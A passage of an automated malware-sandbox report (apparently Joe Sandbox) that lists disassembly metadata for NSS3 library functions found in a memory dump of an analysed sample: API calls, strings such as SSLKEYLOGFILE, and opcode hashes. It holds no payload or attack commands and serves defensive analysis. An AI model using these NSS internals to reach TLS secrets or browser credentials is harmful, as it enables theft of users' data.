PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0036
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0046
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0056
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0066
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0076
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0086
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0096
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F00A6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F00B6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F00C6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F00D6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F00E6

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 552adf5c2ed461522e77ad4cab00ef6d775ea900561ba3b30a7936ca71f55736
Instruction ID: 8319d2280a5d0d09c19628ac05ae50de8d29d0997a5bec47d70eab4bc6020223
Opcode Fuzzy Hash: 552adf5c2ed461522e77ad4cab00ef6d775ea900561ba3b30a7936ca71f55736
Instruction Fuzzy Hash: 1C31DFF0F016289E8B4ADF36968D14E3AF4B736A48B10512ED21887B11DBB4018ECF97

Function 6CA36E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CA36BF7), ref: 6CA36EB6

Part of subcall function 6C991240: TlsGetValue.KERNEL32(00000040,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991267
Part of subcall function 6C991240: EnterCriticalSection.KERNEL32(?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C99127C
Part of subcall function 6C991240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991291
Part of subcall function 6C991240: PR_Unlock.NSS3(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C9912A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CADFC0A,6CA36BF7), ref: 6CA36ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA36EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CA36EFC
PR_NewLock.NSS3 ref: 6CA36F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA36F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CA36BF7), ref: 6CA36F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CA36BF7), ref: 6CA36F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CA36BF7), ref: 6CA36FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CA36BF7), ref: 6CA36FFD

Strings

SSLKEYLOGFILE, xrefs: 6CA36EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CA36EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CA36FF8
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CA36FDB
SSLFORCELOCKS, xrefs: 6CA36F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CA36F4F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 081907c07032a4df5dea4c5af78c6e096f7110d653b6a8140e925348f6c0de6c
Instruction ID: 1735acbf9591a2b1d29f490350cf46147f190fbf723d3dcf72d02fe0806d844d
Opcode Fuzzy Hash: 081907c07032a4df5dea4c5af78c6e096f7110d653b6a8140e925348f6c0de6c
Instruction Fuzzy Hash: 26A136B2B559B0C6E7105A2CDE2179832A1BBA7329F1C5369E838CBFD5DB3594C0C251

Function 6C9B5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C9B5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C9B5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C9B5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C9B5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C9B5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C9B5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C9B5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C9B5F89
free.MOZGLUE(?), ref: 6C9B5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9B5FB6
free.MOZGLUE(00000000), ref: 6C9B5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9B600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9B6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9B6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9B6094

Strings

, xrefs: 6C9B5EEB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: a4abb73240681ca07bad8842bc44c3c3b881c571e06518430d5142b72428362c
Instruction ID: 8f0d69e019c92d217bc90167e6ffd6f3325635111496cbae408fcd632fe2795e
Opcode Fuzzy Hash: a4abb73240681ca07bad8842bc44c3c3b881c571e06518430d5142b72428362c
Instruction Fuzzy Hash: FA81F3B1E00205ABDB10CE65DC85BAFB7B9AF44318F144128F819F7B91E731E869CB91

Function 6CAB79A0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 112threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3(00000000,?,?,6CAB798A), ref: 6CAB79A5

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

PR_LogPrint.NSS3(PR_Cleanup: shutting down NSPR), ref: 6CAB79D4
PR_Lock.NSS3 ref: 6CAB79EC
PR_WaitCondVar.NSS3(000000FF,6CAB798A), ref: 6CAB7A09
PR_Unlock.NSS3 ref: 6CAB7A37
PR_DestroyLock.NSS3(?,6CAB798A), ref: 6CAB7A4A
PR_DestroyLock.NSS3(?,?,6CAB798A), ref: 6CAB7A60
PR_DestroyLock.NSS3(?,?,?,6CAB798A), ref: 6CAB7A74
PR_DestroyCondVar.NSS3(?,?,?,?,6CAB798A), ref: 6CAB7A88
PR_DestroyLock.NSS3(?,?,?,?,?,?,6CAB798A), ref: 6CAB7AA5
PR_LogPrint.NSS3(PR_Cleanup: clean up before destroying thread,?,?,?,?,?,?,6CAB798A), ref: 6CAB7AD5
PR_DestroyLock.NSS3(?,?,?,?,?,?,?,?,6CAB798A), ref: 6CAB7B04
PR_DestroyLock.NSS3(?,?,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CAB7B25
PT_FPrintStats.NSS3(?,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CAB7B3C
PR_DestroyLock.NSS3(?,?,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CAB7B4B

Strings

PR_Cleanup: clean up before destroying thread, xrefs: 6CAB7AD0
PR_Cleanup: shutting down NSPR, xrefs: 6CAB79CF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: DestroyLock$Print$Cond$CurrentStatsThreadUnlockValueWait
String ID: PR_Cleanup: clean up before destroying thread$PR_Cleanup: shutting down NSPR
API String ID: 1189278590-4285429502
Opcode ID: eaaeb4cf6d573bc1098bd3e831abb9580d6ec35168c362c862632ef073852212
Instruction ID: e057948a9d451279dedd93fc235ed5b544e683bd88f378fb8575d41c5b151424
Opcode Fuzzy Hash: eaaeb4cf6d573bc1098bd3e831abb9580d6ec35168c362c862632ef073852212
Instruction Fuzzy Hash: ED4165F5F012445BEF019F61EE48B8636B9AB6220CF48412CD805A7B51EB72D5DCCA63

Function 6C991FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C992007
calloc.MOZGLUE(00000001,00000084), ref: 6C992077
calloc.MOZGLUE(00000001,0000002C), ref: 6C9920DF
TlsSetValue.KERNEL32(00000000), ref: 6C992188
PR_NewCondVar.NSS3 ref: 6C9921B7
calloc.MOZGLUE(00000001,00000084), ref: 6C99221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C9922C2
GetLastError.KERNEL32 ref: 6C9922CD
free.MOZGLUE(00000000), ref: 6C9922DD

Part of subcall function 6C990F00: PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B
Part of subcall function 6C990F00: PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 65e40b19eed1ab3e68dda6aa6bb8b19d14454aa768b07e8f5dfc7eb35d438fb6
Instruction ID: c6636dba8fd9750f4b4c7736a2824d1047ad7b40f2ca56783716e6c591edf9f9
Opcode Fuzzy Hash: 65e40b19eed1ab3e68dda6aa6bb8b19d14454aa768b07e8f5dfc7eb35d438fb6
Instruction Fuzzy Hash: 4C916D70B017029FDB24AF39980975A7AF8BB16709F08452EE45AD7A40EB70E509CF92

Function 6C99F850 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 262COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE004,00000000), ref: 6C99F86F

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_smprintf.NSS3(%lu,?), ref: 6C99F899
PR_smprintf.NSS3(%s.%lu,00000000,?), ref: 6C99FA4E
PR_smprintf.NSS3(%s.%llu,00000000,00000000,00000000), ref: 6C99FAA2
PR_smprintf.NSS3(%s.UNSUPPORTED,00000000), ref: 6C99FAB6
free.MOZGLUE(00000000), ref: 6C99FAC1
PR_smprintf.NSS3(OID.UNSUPPORTED), ref: 6C99FAD3
__aulldiv.LIBCMT ref: 6C99FB00
PR_smprintf.NSS3(OID.%llu.%llu,00000000,?,00000000,FFFFFFD8,00000000,00000000,00000028,00000000), ref: 6C99FB4B

Strings

%s.%lu, xrefs: 6C99FA49
%s.%llu, xrefs: 6C99FA9D
%s.UNSUPPORTED, xrefs: 6C99FAB1
OID.%llu.%llu, xrefs: 6C99FB46
OID.UNSUPPORTED, xrefs: 6C99FACE
OID.%lu.%lu, xrefs: 6C99FA7D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: R_smprintf$ErrorValue__aulldivfree
String ID: %s.%llu$%s.%lu$%s.UNSUPPORTED$OID.%llu.%llu$OID.%lu.%lu$OID.UNSUPPORTED
API String ID: 2145857551-3523515424
Opcode ID: 2b98d28865a75b62b5e7ccfcc5e3c1935c7b1e464a6ed0051d8afc6f4b951bfd
Instruction ID: 29d747700d7365d056dc874c0a61293a98a56c89a548e91b38501e7dc5f10bdb
Opcode Fuzzy Hash: 2b98d28865a75b62b5e7ccfcc5e3c1935c7b1e464a6ed0051d8afc6f4b951bfd
Instruction Fuzzy Hash: 3A816972E160210BEB084B2D8C5577EFBAADBC530CF1C4669F462DBB85E674C80593A0

Function 6C9B38C0 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE028,00000000,?), ref: 6C9B38F2
SECKEY_ECParamsToBasePointOrderLen.NSS3(-00000010,?,?,?,?,?), ref: 6C9B3902
SECITEM_CopyItem_Util.NSS3(00000000,00000014,6C9B5E83), ref: 6C9B3AB0
SECITEM_CopyItem_Util.NSS3(00000000,00000038,6C9B5E87), ref: 6C9B3AEA
SECITEM_CopyItem_Util.NSS3(00000000,00000014,6C9B5E63), ref: 6C9B3B03
SECITEM_CopyItem_Util.NSS3(00000000,00000020,6C9B5E6F), ref: 6C9B3B1C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C9B3B40
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9B3B70
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C9B3B88
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9B3B9D
PL_FreeArenaPool.NSS3(?), ref: 6C9B3BB2
PL_FinishArenaPool.NSS3(?), ref: 6C9B3BBD
SECITEM_CopyItem_Util.NSS3(00000000,00000010,?), ref: 6C9B3BD4
SECITEM_CopyItem_Util.NSS3(00000000,-00000020,6C9B5E4F), ref: 6C9B3BF2
PK11_DestroyObject.NSS3(?,?), ref: 6C9B3C1B
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9B3C40

Strings

security, xrefs: 6C9B3B6A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Item_$Copy$ArenaPool$ErrorFree$Arena_BaseCallDecodeDestroyFinishInitK11_ObjectOnceOrderParamsPointQuick
String ID: security
API String ID: 3293387093-3315324353
Opcode ID: 5d17cd260ee6eb63e89cab839bc1ba304dd5b3bc61ee0e26e8a2fad7f7c04a51
Instruction ID: bda36c24a54fd9b25dc30dd02b2e5ccacf7d744f52b152b66d6c9edffbe77b32
Opcode Fuzzy Hash: 5d17cd260ee6eb63e89cab839bc1ba304dd5b3bc61ee0e26e8a2fad7f7c04a51
Instruction Fuzzy Hash: 1651A2B2E00204ABE710DE65ED81FAB73ACBB2424DF040569EC06A7B51FB35E559C761

Function 6C9919A0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 141networkCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSPR_FD_CACHE_SIZE_LOW), ref: 6C9919BB

Part of subcall function 6C991240: TlsGetValue.KERNEL32(00000040,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991267
Part of subcall function 6C991240: EnterCriticalSection.KERNEL32(?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C99127C
Part of subcall function 6C991240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991291
Part of subcall function 6C991240: PR_Unlock.NSS3(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C9912A0

PR_GetEnvSecure.NSS3(NSPR_FD_CACHE_SIZE_HIGH), ref: 6C9919CA
PR_NewLock.NSS3 ref: 6C991A17

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_NewLock.NSS3 ref: 6C991A21

Part of subcall function 6CA698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
Part of subcall function 6CA698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E
Part of subcall function 6CA698D0: free.MOZGLUE(00000000), ref: 6CA6995E

PR_NewCondVar.NSS3(00000000), ref: 6C991A2C

Part of subcall function 6C98BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C9921BC), ref: 6C98BB8C

GetStdHandle.KERNEL32(000000F6), ref: 6C991A3B

Part of subcall function 6C9240C0: malloc.MOZGLUE(00000018,00000000,00000000,?,6C991A48), ref: 6C9240D9
Part of subcall function 6C9240C0: malloc.MOZGLUE(0000001C,6C991A48), ref: 6C9240EC

GetStdHandle.KERNEL32(000000F5), ref: 6C991A6F

Part of subcall function 6C9240C0: PR_Lock.NSS3(00000000,00000000,?,6C991A48), ref: 6C924128
Part of subcall function 6C9240C0: PR_Unlock.NSS3(6C991A48), ref: 6C924140
Part of subcall function 6C9240C0: free.MOZGLUE(00000000), ref: 6C92414B
Part of subcall function 6C9240C0: PR_Unlock.NSS3(6C991A48), ref: 6C924178

GetStdHandle.KERNEL32(000000F4), ref: 6C991AA3
WSAStartup.WSOCK32(00000101,?), ref: 6C991B00
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000), ref: 6C991B27
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000), ref: 6C991B40
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C991B80
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C991B94
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C991BA8

Strings

NSPR_FD_CACHE_SIZE_LOW, xrefs: 6C9919B6
NSPR_FD_CACHE_SIZE_HIGH, xrefs: 6C9919C5

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Error$HandleLockUnlock$CriticalSectionSecureatoicallocfreemalloc$CondCountEnterInitializeLastSpinStartupValuegetenv
String ID: NSPR_FD_CACHE_SIZE_HIGH$NSPR_FD_CACHE_SIZE_LOW
API String ID: 1503490954-91517431
Opcode ID: ad7a2e5029c7e9034d9150e4cdfd2fc9c3ada3181aeff880df875e4f23f42108
Instruction ID: 5686ed6ee9d5460b47e75817184de3ef5c1cacccb0472610f4c65df46feafdae
Opcode Fuzzy Hash: ad7a2e5029c7e9034d9150e4cdfd2fc9c3ada3181aeff880df875e4f23f42108
Instruction Fuzzy Hash: 1C51F4B1F003009FEB109F69D944A59B7FCBB27758B1C452AE8198BB60E770DC88CB91

Function 6C9CD8F0 Relevance: 27.4, APIs: 18, Instructions: 354COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000010,00000054,?,00000008,00000054,00000000), ref: 6C9CDA45
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDA59
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDA89
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDA9D
TlsGetValue.KERNEL32 ref: 6C9CDB0A
EnterCriticalSection.KERNEL32(?), ref: 6C9CDB1E
TlsGetValue.KERNEL32 ref: 6C9CDB43
EnterCriticalSection.KERNEL32(?), ref: 6C9CDB57
TlsGetValue.KERNEL32(00000000,?,6C9CD06D), ref: 6C9CDB7C
EnterCriticalSection.KERNEL32(?,?,6C9CD06D), ref: 6C9CDB90
PR_Unlock.NSS3(?), ref: 6C9CDBBD
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDC21
PR_SetError.NSS3(00000000,00000000,?,?,?,?), ref: 6C9CDC39
PK11_DoesMechanism.NSS3(?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDC64
TlsGetValue.KERNEL32(?,?,?,00000000,?,6C9CD06D), ref: 6C9CDC84
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDC98
PK11_DoesMechanism.NSS3(?,CE53436C,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDCE6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDD01

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$DoesK11_Mechanism$Error
String ID:
API String ID: 3890939128-0
Opcode ID: a0cfa3c6a1f4d9aa7e770a593959ae60e2f9d24c36dca7269931bde33cea60fc
Instruction ID: 438016e97a1e672605231387bcec0dd975335e518c635be49b716fa7acaa429c
Opcode Fuzzy Hash: a0cfa3c6a1f4d9aa7e770a593959ae60e2f9d24c36dca7269931bde33cea60fc
Instruction Fuzzy Hash: B1E19C36780701CFD7209F29D884B66B7B8FF19318F148969D95A87B61D770F885CB82

Function 6CA328C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

TlsGetValue.KERNEL32 ref: 6CA3290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CA3291E
